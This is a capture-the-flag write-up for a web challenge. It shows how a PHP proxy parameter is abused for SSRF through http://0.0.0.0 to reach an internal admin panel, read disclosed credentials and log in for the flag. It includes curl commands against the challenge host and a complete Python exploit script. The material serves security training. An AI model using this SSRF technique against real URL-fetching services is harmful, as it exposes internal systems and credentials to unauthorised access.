Proxy: No Access... for You?
Proxy: No Access... for You?
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: internal_admin_enumeration, query_parameter_url_encoding, robots_txt_enumeration, ssrf_localhost_bypass
Summary
Walkthrough of the CUSTOM Web Proxy: No Access... for You?. Task: a PHP proxy reader exposed a server-side URL fetcher while the real admin area was restricted from direct access. Solution: use SSRF with http://0.0.0.0 to browse internal admin pages, recover h
Description
Original task name: «Прокси Доступа нет...для Вас?»
Target: http://62.173.140.174:16010
The application exposed a proxy-style reader at /index.php?url=.... Direct access to the admin area was denied, so the goal was to use the proxy as an SSRF primitive and reach internal-only endpoints from the server side.
Analysis
Initial recon
The main page already exposed the important functionality:
text read-only • copy allowed/index.php?url=...
That strongly suggested a server-side fetch feature. The next easy enumeration target was robots.txt, which revealed an /admin/ path.
Directly requesting /admin/ returned the Russian message:
text read-only • copy allowedВам сюда нельзя!
So the admin section existed, but it was protected from normal external access.
SSRF localhost bypass
Knowledge base notes and HackTricks SSRF methodology suggested trying alternative localhost representations. In this challenge, 0.0.0.0 worked as a localhost-equivalent destination for the backend fetcher.
Using the proxy to request the internal admin page:
text read-only • copy allowed/index.php?url=http://0.0.0.0/admin/
returned the internal page instead of the external denial message. The page contained a TODO note mentioning /admin/panel.php and missing authentication hardening.
Admin panel and credential hint
Browsing the next internal page through SSRF:
text read-only • copy allowed/index.php?url=http://0.0.0.0/admin/panel.php
showed a login form. Submitting wrong credentials revealed a password hint link at /admin/hint.php.
Fetching that page through the same SSRF primitive:
text read-only • copy allowed/index.php?url=http://0.0.0.0/admin/hint.php
disclosed valid credentials:
text read-only • copy allowedadmin:h4ck3rcr4cker
Important encoding detail
The final login request required nesting query parameters inside the outer proxy parameter. That means the inner URL had to be URL-encoded correctly; otherwise the outer application would parse username and password as top-level parameters instead of part of the proxied URL.
curl -G --data-urlencode handled this cleanly.
Solution
Step 1: Confirm the proxy reader
bash read-only • copy allowedcurl "http://62.173.140.174:16010/" curl "http://62.173.140.174:16010/index.php?url=http://example.com"
Step 2: Enumerate with robots.txt
bash read-only • copy allowedcurl "http://62.173.140.174:16010/robots.txt"
This revealed /admin/.
Step 3: Verify that direct admin access is blocked
bash read-only • copy allowedcurl "http://62.173.140.174:16010/admin/"
The response was:
text read-only • copy allowedВам сюда нельзя!
Step 4: Reach the internal admin area through SSRF
bash read-only • copy allowedcurl -G --data-urlencode 'url=http://0.0.0.0/admin/' \ "http://62.173.140.174:16010/index.php"
This exposed the internal admin page and the reference to /admin/panel.php.
Step 5: Open the login form and find the hint page
bash read-only • copy allowedcurl -G --data-urlencode 'url=http://0.0.0.0/admin/panel.php' \ "http://62.173.140.174:16010/index.php" curl -G --data-urlencode 'url=http://0.0.0.0/admin/hint.php' \ "http://62.173.140.174:16010/index.php"
The hint page disclosed:
text read-only • copy allowedadmin:h4ck3rcr4cker
Step 6: Log in through the proxy and get the flag
bash read-only • copy allowedcurl -G \ --data-urlencode 'url=http://0.0.0.0/admin/panel.php?username=admin&password=h4ck3rcr4cker' \ "http://62.173.140.174:16010/index.php"
The response returned the flag:
text read-only • copy allowedCODEBY{REDACTED}
python read-only • copy allowed#!/usr/bin/env python3 import re import sys from urllib.parse import urljoin import requests BASE = "http://62.173.140.174:16010/" PROXY = urljoin(BASE, "index.php") def fetch_internal(path: str) -> str: response = requests.get(PROXY, params={"url": f"http://0.0.0.0{path}"}, timeout=10) response.raise_for_status() return response.text def main() -> int: robots = requests.get(urljoin(BASE, "robots.txt"), timeout=10).text print("[+] robots.txt") print(robots) admin_page = fetch_internal("/admin/") print("[+] /admin/ fetched through SSRF") print(admin_page[:500]) panel = fetch_internal("/admin/panel.php") print("[+] /admin/panel.php fetched through SSRF") print(panel[:500]) hint = fetch_internal("/admin/hint.php") print("[+] /admin/hint.php fetched through SSRF") print(hint) creds = re.search(r"(admin:h4ck3rcr4cker)", hint) if not creds: print("[-] Could not recover credentials", file=sys.stderr) return 1 flag_page = requests.get( PROXY, params={ "url": "http://0.0.0.0/admin/panel.php?username=admin&password=h4ck3rcr4cker" }, timeout=10, ) flag_page.raise_for_status() print("[+] Login response") print(flag_page.text) flag = re.search(r"CODEBY\{[^}]+\}", flag_page.text) if not flag: print("[-] Flag not found", file=sys.stderr) return 1 print(f"[+] Flag: {flag.group(0)}") return 0 if __name__ == "__main__": raise SystemExit(main())
Key Takeaways / Lessons
- Mastering internal_admin_enumeration, query_parameter_url_encoding, robots_txt_enumeration, ssrf_localhost_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-04 • CUSTOM • Proxy: No Access... for You? • Difficulty: Easy